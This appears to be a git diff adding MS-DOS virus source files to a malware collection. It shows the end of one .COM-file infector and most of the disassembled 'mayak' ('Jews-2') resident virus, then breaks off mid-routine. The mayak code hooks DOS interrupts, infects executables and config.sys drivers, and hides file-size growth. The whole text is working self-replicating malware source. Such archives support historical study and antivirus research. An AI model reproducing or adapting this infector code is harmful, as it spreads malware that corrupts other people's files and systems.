+ + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mayak.asm b/MSDOS/Virus.MSDOS.Unknown.mayak.asm new file mode 100644 index 00000000..cea031cb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mayak.asm @@ -0,0 +1,1270 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ MAYAK ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 1-Aug-92 ŪŪ +;ŪŪ Passes: 5 Analysis Options on: none ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +data_1e equ 0Ch +data_3e equ 20h +data_4e equ 24h +data_5e equ 84h +data_6e equ 90h +data_8e equ 100h +data_9e equ 917h ;* +data_10e equ 91Eh ;* +data_11e equ 5350h ;* +data_14e equ 927h ;* +data_15e equ 6 +data_16e equ 46h +data_17e equ 60h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +mayak proc far + +start: +;* jmp loc_6 ;* + db 0E9h, 32h, 01h + db 60h,0B9h, 00h, 20h + +locloop_3: + loop locloop_3 ; Loop if cx > 0 + + mov al,0 + out 60h,al ; port 60h, keybd data write + int 20h ; DOS program terminate + push ax + push cx + push si + push di + push ds + push es + call sub_2 + +mayak endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + pop si + sub si,9 + nop ;*ASM fixup - sign extn byte + push cs + pop ds + mov [si+44h],cs + nop ;*ASM fixup - displacement + mov [si+62h],cs + nop ;*ASM fixup - displacement + mov [si+46h],bx + nop ;*ASM fixup - displacement + mov [si+48h],es + nop ;*ASM fixup - displacement + mov ax,[si+42h] + mov ds:data_15e,ax + jmp short $+2 ; delay for I/O + cld ; Clear direction + mov ax,7000h + mov es,ax + xor di,di ; Zero register + mov cx,923h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov cx,7Bh + rep stosb ; Rep when cx >0 Store al to es:[di] + pop es + pop ds + pop di + pop si + pop cx + pop ax +;* jmp far ptr loc_2 ;* +sub_2 endp + + db 0EAh,0C1h, 00h, 68h, 02h + out 3,al ; port 3, DMA-1 bas&cnt ch 1 + xchg dx,ds:data_11e[bx+si] + push cx + push dx + push si + push di + push ds + push es + push cs + pop ds + les di,dword ptr ds:data_17e ; Load 32 bit ptr + mov si,91Eh + cld ; Clear direction + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] +;* call far ptr sub_1 ;* + db 9Ah,0CCh, 00h, 68h, 02h + mov ax,0FEDAh + int 21h ; ??INT Non-standard interrupt + cmp ax,0ADEFh + je loc_4 ; Jump if equal + push cs + pop ds + mov ah,34h ; '4' + int 21h ; DOS Services ah=function 34h + ; get DOS critical ptr es:bx + ;* undocumented function + mov word ptr ds:[93Bh],bx + mov word ptr ds:[93Dh],es + lds si,dword ptr ds:data_16e ; Load 32 bit ptr + les di,dword ptr [si+0Eh] ; Load 32 bit ptr + mov cl,4 + shr di,cl ; Shift w/zeros fill + inc di + mov ax,es + add ax,di + mov es,ax + mov word ptr [si+0Eh],99Eh + mov [si+10h],es + xor di,di ; Zero register + push cs + pop ds + xor si,si ; Zero register + cld ; Clear direction + mov cx,99Eh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,data_14e + mov ds,cx + mov si,data_5e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],147h + mov si,data_4e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],384h + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + call sub_10 + sub ax,word ptr cs:[917h] + cmp ax,5 + jb loc_4 ; Jump if below + mov si,data_3e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],2C2h +loc_4: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf ; Return far + db 'Jews-2 Virus. MSU 1991' + db 1Eh, 06h,0E8h, 00h, 00h, 5Eh + db 81h,0EEh, 03h, 01h,0E8h,0CAh + db 02h, 0Eh, 0Eh, 1Fh, 07h,0E8h + db 25h, 03h, 07h, 8Ch,0C0h, 05h + db 10h, 00h, 2Eh, 01h, 84h, 24h + db 01h, 1Fh,0E8h,0FFh, 02h,0EAh + db 00h + db 0, 0, 0 +loc_6: + call sub_3 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + pop si + sub si,129h + call sub_5 + push si + mov di,data_8e + add si,data_10e + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] + pop si + call sub_8 + mov ax,100h + push ax + call sub_7 + retn +sub_3 endp + + pushf ; Push flags + cmp ax,0FEDAh + jne loc_7 ; Jump if not equal + mov ax,0ADEFh + les bx,dword ptr cs:[927h] ; Load 32 bit ptr + popf ; Pop flags + iret ; Interrupt return +loc_7: + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + xor si,si ; Zero register + call sub_5 + cmp ah,3Ch ; '<' + je loc_13 ; Jump if equal + cmp ah,5Bh ; '[' + je loc_13 ; Jump if equal + cmp ah,3Dh ; '=' + je loc_15 ; Jump if equal + cmp ah,3Eh ; '>' + je loc_17 ; Jump if equal + cmp ah,4Bh ; 'K' + jne loc_10 ; Jump if not equal + jmp loc_20 +loc_10: + cmp ah,4Eh ; 'N' + jne loc_11 ; Jump if not equal + jmp loc_26 +loc_11: + cmp ah,4Fh ; 'O' + jne loc_12 ; Jump if not equal + jmp loc_28 +loc_12: + jmp loc_31 +loc_13: + int 3 ; Debug breakpoint + jnc loc_14 ; Jump if carry=0 + jmp loc_29 +loc_14: + push ax + call sub_12 + pop bx + mov byte ptr cs:[943h][bx],al + mov byte ptr cs:[957h][bx],ah + mov ax,bx + jmp loc_30 +loc_15: + push ax + mov al,2 + int 3 ; Debug breakpoint + jnc loc_16 ; Jump if carry=0 + pop ax + jmp loc_31 +loc_16: + pop bx + push ax + call sub_12 + pop bx + mov byte ptr cs:[943h][bx],al + mov byte ptr cs:[957h][bx],ah + call sub_21 + mov ax,bx + jmp loc_30 +loc_17: + push ax + push cs + pop ds + cmp bx,5 + jb loc_19 ; Jump if below + cmp bx,18h + ja loc_19 ; Jump if above + mov al,byte ptr ds:[943h][bx] + mov ah,byte ptr ds:[957h][bx] + mov byte ptr ds:[943h][bx],0 + mov byte ptr ds:[957h][bx],0 + cmp al,2 + jb loc_18 ; Jump if below + cmp ah,2 + jbe loc_19 ; Jump if below or = +loc_18: + call sub_20 +loc_19: + pop ax + jmp loc_31 +loc_20: + mov word ptr cs:[99Ah],dx + mov word ptr cs:[99Ch],ds + push ax + call sub_12 + mov word ptr cs:[998h],ax + push ax + mov ax,3D02h + int 3 ; Debug breakpoint + mov bx,ax + pop ax + pop cx + push cx + jc loc_25 ; Jump if carry Set + and cl,cl + jz loc_23 ; Jump if zero + call sub_21 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + pop ax + call sub_4 + pop bx + call dword ptr cs:[927h] + pushf ; Push flags + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push ax + xor si,si ; Zero register + call sub_5 + mov ax,word ptr cs:[998h] + lds dx,dword ptr cs:[99Ah] ; Load 32 bit ptr + cmp al,2 + jb loc_22 ; Jump if below + cmp ah,2 + ja loc_22 ; Jump if above +loc_21: + pop ax + call sub_4 + pop bx + popf ; Pop flags + retf 2 ; Return far +loc_22: + push ax + mov ax,3D02h + int 3 ; Debug breakpoint + mov bx,ax + pop ax + jc loc_21 ; Jump if carry Set + call sub_20 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + jmp short loc_21 +loc_23: + cmp al,2 + jb loc_24 ; Jump if below + cmp ah,2 + jbe loc_25 ; Jump if below or = +loc_24: + call sub_20 +loc_25: + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + pop ax + jmp short loc_31 +loc_26: + int 3 ; Debug breakpoint + jc loc_29 ; Jump if carry Set + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + push es + pop ds +loc_27: + mov ax,[bx+16h] + and ax,1Fh + cmp ax,1Fh + jne loc_30 ; Jump if not equal + sub word ptr [bx+1Ah],923h + sbb word ptr [bx+1Ch],0 + and word ptr [bx+16h],0FFE0h + jmp short loc_30 +loc_28: + int 3 ; Debug breakpoint + mov bx,dx + jnc loc_27 ; Jump if carry=0 +loc_29: + call sub_4 + pop bx + popf ; Pop flags + stc ; Set carry flag + retf 2 ; Return far +loc_30: + call sub_4 + pop bx + popf ; Pop flags + clc ; Clear carry flag + retf 2 ; Return far +loc_31: + call sub_4 + pop bx + popf ; Pop flags + jmp dword ptr cs:[927h] + push ax + push cx + push dx + push si + push ds + push es + push cs + pop ds + cmp byte ptr ds:[34Eh],0 + jne loc_32 ; Jump if not equal + les si,dword ptr ds:[93Bh] ; Load 32 bit ptr + cmp byte ptr es:[si],0 + jne $+6Ah ; Jump if not equal + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov dl,cl + cmp dx,1E3Bh + jne $+5Eh ; Jump if not equal + mov byte ptr ds:[34Eh],1 + mov byte ptr ds:[947h],1 + mov word ptr ds:[943h],34Fh +loc_32: + dec byte ptr ds:[34Eh] + jnz $+48h ; Jump if not zero + mov si,word ptr ds:[943h] + cld ; Clear direction +loc_33: + lodsb ; String [si] to al + mov byte ptr ds:[34Eh],al + and al,al + jnz loc_35 ; Jump if not zero + dec byte ptr ds:[947h] + jz loc_34 ; Jump if zero + mov si,word ptr ds:[945h] + jmp short loc_33 +loc_34: + lodsb ; String [si] to al + mov word ptr ds:[945h],si + mov byte ptr ds:[947h],al + and al,al + jnz loc_33 ; Jump if not zero + jmp short $+21h +loc_35: + lodsw ; String [si] to ax + mov cx,ax + mov word ptr ds:[943h],si + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov dx,12h + mov ax,34DDh + div cx ; ax,dx rem=dx:ax/reg + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + pop es + pop ds + pop si + pop dx + pop cx + pop ax + jmp dword ptr cs:[92Fh] + add [bx+si],al + add ax,[bx] + into ; Int 4 on overflow + add al,[bx] + push si + add ax,[bx] + xor al,4 + pop es + push si + add cx,word ptr ds:[3BFh] + pop es + push si + add ax,[bx] + add cx,word ptr es:[434h] + push cs + mov di,1103h + into ; Int 4 on overflow + add dh,[bp+si] + db 0FFh,0FFh, 00h, 05h, 02h,0E8h + db 03h, 10h,0FFh,0FFh, 00h, 01h + db 09h,0E8h, 03h, 01h,0FFh,0FFh + db 00h, 00h, 50h, 1Eh,0E4h, 60h + db 3Ch, 53h, 75h, 35h,0B8h, 40h + db 00h, 8Eh,0D8h,0A0h, 17h, 00h + db 24h, 0Ch, 3Ch, 0Ch, 75h, 27h + db 0C7h, 06h, 72h, 00h, 34h, 12h + db 0E4h, 61h, 8Ah,0E0h, 0Ch, 80h + db 0E6h, 61h, 86h,0E0h,0E6h, 61h + db 0B0h, 20h,0E6h, 20h, 33h,0F6h + db 0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh + db 07h,0E8h, 7Bh, 00h,0EAh,0F0h + db 0FFh, 00h,0F0h + db 1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh + db 09h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + call sub_6 + pop bx + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + jmp bx ;*Register jump + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_5: + push ax + push bx + push ds + push es + xor ax,ax ; Zero register + mov ds,ax + les ax,dword ptr ds:data_1e ; Load 32 bit ptr + mov word ptr cs:[933h][si],ax + mov word ptr cs:[935h][si],es + mov ax,0FEDAh + int 21h ; ??INT Non-standard interrupt + cmp ax,0ADEFh + je loc_37 ; Jump if equal + les bx,dword ptr ds:data_5e ; Load 32 bit ptr +loc_37: + mov ds:data_1e,bx + mov word ptr ds:data_1e+2,es + pop es + pop ds + pop bx + pop ax + retn +sub_4 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + mov ds,ax + les ax,dword ptr cs:[933h][si] ; Load 32 bit ptr + mov ds:data_1e,ax + mov word ptr ds:data_1e+2,es + pop es + pop ds + pop ax + retn +sub_6 endp + + db 0B0h, 03h,0CFh + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_7 proc near + call sub_6 + xor ax,ax ; Zero register + xor bx,bx ; Zero register + mov cx,0FFh + mov dx,cs + mov di,sp + add di,4 + mov si,100h + xor bp,bp ; Zero register + retn +sub_7 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_8 proc near + mov ah,2Ah ; '*' + int 3 ; Debug breakpoint + call sub_10 + mov word ptr ds:[917h][si],ax + mov ax,3D00h + lea dx,[si+4F0h] ; Load effective addr + int 3 ; Debug breakpoint + mov bx,ax + jnc loc_38 ; Jump if carry=0 + retn +loc_38: + mov ah,3Fh ; '?' + lea dx,[si+970h] ; Load effective addr + mov cx,28h + int 3 ; Debug breakpoint + and ax,ax + jnz loc_39 ; Jump if not zero + jmp loc_46 +loc_39: + mov cx,ax + mov di,dx + mov al,0Dh + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_38 ; Jump if not zero + mov byte ptr [di-1],20h ; ' ' + neg cx + inc cx + mov ax,cx + cwd ; Word to double word + xchg cx,dx + mov ax,4201h + int 3 ; Debug breakpoint + mov cx,28h + mov al,20h ; ' ' + lea di,[si+970h] ; Load effective addr + push di + push cx + +locloop_40: + scasb ; Scan es:[di] for al + jc loc_41 ; Jump if carry Set + mov [di-1],al +loc_41: + loop locloop_40 ; Loop if cx > 0 + + pop cx + pop di + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + push si + dec di + push di + lea di,[si+4FEh] ; Load effective addr + pop si + mov cx,6 + +locloop_42: + lodsb ; String [si] to al + or al,20h ; ' ' + scasb ; Scan es:[di] for al + loopz locloop_42 ; Loop if zf=1, cx>0 + + mov di,si + pop si + jnz loc_38 ; Jump if not zero + mov cx,28h + mov al,20h ; ' ' + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + cmp byte ptr [di-1],3Dh ; '=' + jne loc_38 ; Jump if not equal + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + dec di + mov dx,di + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov byte ptr [di-1],0 + push bx + call sub_11 + jz loc_44 ; Jump if zero + mov di,dx + cmp byte ptr [di],5Ch ; '\' + je loc_43 ; Jump if equal + dec di + mov byte ptr [di],5Ch ; '\' +loc_43: + dec di + dec di + mov word ptr [di],3A63h + mov dx,di +loc_44: + mov ax,3D02h + int 3 ; Debug breakpoint + jc loc_45 ; Jump if carry Set + mov bx,ax + mov ax,402h + call sub_20 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint +loc_45: + pop bx + jmp loc_38 +loc_46: + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + retn +sub_8 endp + + db 'c:\config.sys' + db 00h, 64h, 65h, 76h, 69h, 63h + db 65h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_10 proc near + sub cx,7BCh + dec dx + dec dh + mov al,1Fh + mul dh ; ax = reg * al + xor dh,dh ; Zero register + add dx,ax + push dx + mov ax,16Eh + mul cx ; dx:ax = reg * ax + pop dx + add ax,dx + retn +sub_10 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_11 proc near + mov di,dx + mov cx,0FFFFh + xor al,al ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + neg cx + dec cx + dec di + dec di + mov bx,di + mov di,dx + mov al,3Ah ; ':' + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + retn +sub_11 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_12 proc near + cld ; Clear direction + push bx + push si + push ds + pop es + call sub_11 + jnz loc_48 ; Jump if not zero + mov al,[di-2] + or al,20h ; ' ' + sub al,61h ; 'a' + jmp short loc_49 +loc_48: + mov ah,19h + int 3 ; Debug breakpoint +loc_49: + std ; Set direction flag + push cs + pop es + lea di,[si+584h] ; Load effective addr + mov si,bx + mov bl,al + mov ah,4 +loc_50: + mov cx,4 + push di + push si + +locloop_51: + lodsb ; String [si] to al + or al,20h ; ' ' + scasb ; Scan es:[di] for al + loopz locloop_51 ; Loop if zf=1, cx>0 + + pop si + pop di + jz loc_53 ; Jump if zero + sub di,4 + dec ah + jz loc_53 ; Jump if zero + jmp short loc_50 +loc_53: + cld ; Clear direction + mov al,bl + pop si + pop bx + retn +sub_12 endp + + db '.com.exe.bin.sys' + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_13 proc near + mov ax,4200h + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + retn +sub_13 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 3 ; Debug breakpoint + retn +sub_14 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_15 proc near + push ax + and ah,ah + jz loc_56 ; Jump if zero + xor dx,dx ; Zero register + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,6 + int 3 ; Debug breakpoint + cmp ax,6 + jne loc_56 ; Jump if not equal + pop ax + push ax + cmp ah,2 + jb loc_55 ; Jump if below + jnz loc_54 ; Jump if not zero + cmp word ptr ds:[91Eh][si],5A4Dh + jne loc_56 ; Jump if not equal + jmp short loc_55 +loc_54: + cmp word ptr ds:[91Eh][si],0FFFFh + jne loc_56 ; Jump if not equal + cmp word ptr ds:[920h][si],0FFFFh + jne loc_56 ; Jump if not equal +loc_55: + pop ax + stc ; Set carry flag + retn +loc_56: + pop ax + clc ; Clear carry flag + retn +sub_15 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + push ax + mov ax,5700h + int 3 ; Debug breakpoint + mov word ptr ds:[93Fh][si],cx + mov word ptr ds:[941h][si],dx + and cx,1Fh + cmp cx,1Fh + pop ax + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_17 proc near + call sub_14 + mov ah,40h ; '@' + mov dx,si + mov cx,923h + int 3 ; Debug breakpoint + retn +sub_17 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_18 proc near + call sub_14 + add ax,1FFh + adc dx,0 + mov al,ah + mov ah,dl + shr ax,1 ; Shift w/zeros fill + mov word ptr ds:[91Eh][si],ax + mov dx,4 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + retn +sub_18 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_19 proc near + push es + push bx + xor bx,bx ; Zero register + mov ds,bx + les bx,dword ptr ds:data_6e ; Load 32 bit ptr + mov word ptr cs:[937h][si],bx + mov word ptr cs:[939h][si],es + lea bx,[si+41Dh] ; Load effective addr + mov ds:data_6e,bx + mov word ptr ds:data_6e+2,cs + push ds + push cs + push cs + pop ds + pop es + push ax + cld ; Clear direction + lea dx,[si+970h] ; Load effective addr + mov di,dx + add al,61h ; 'a' + mov ah,3Ah ; ':' + stosw ; Store ax to es:[di] + mov word ptr [di],5Ch + 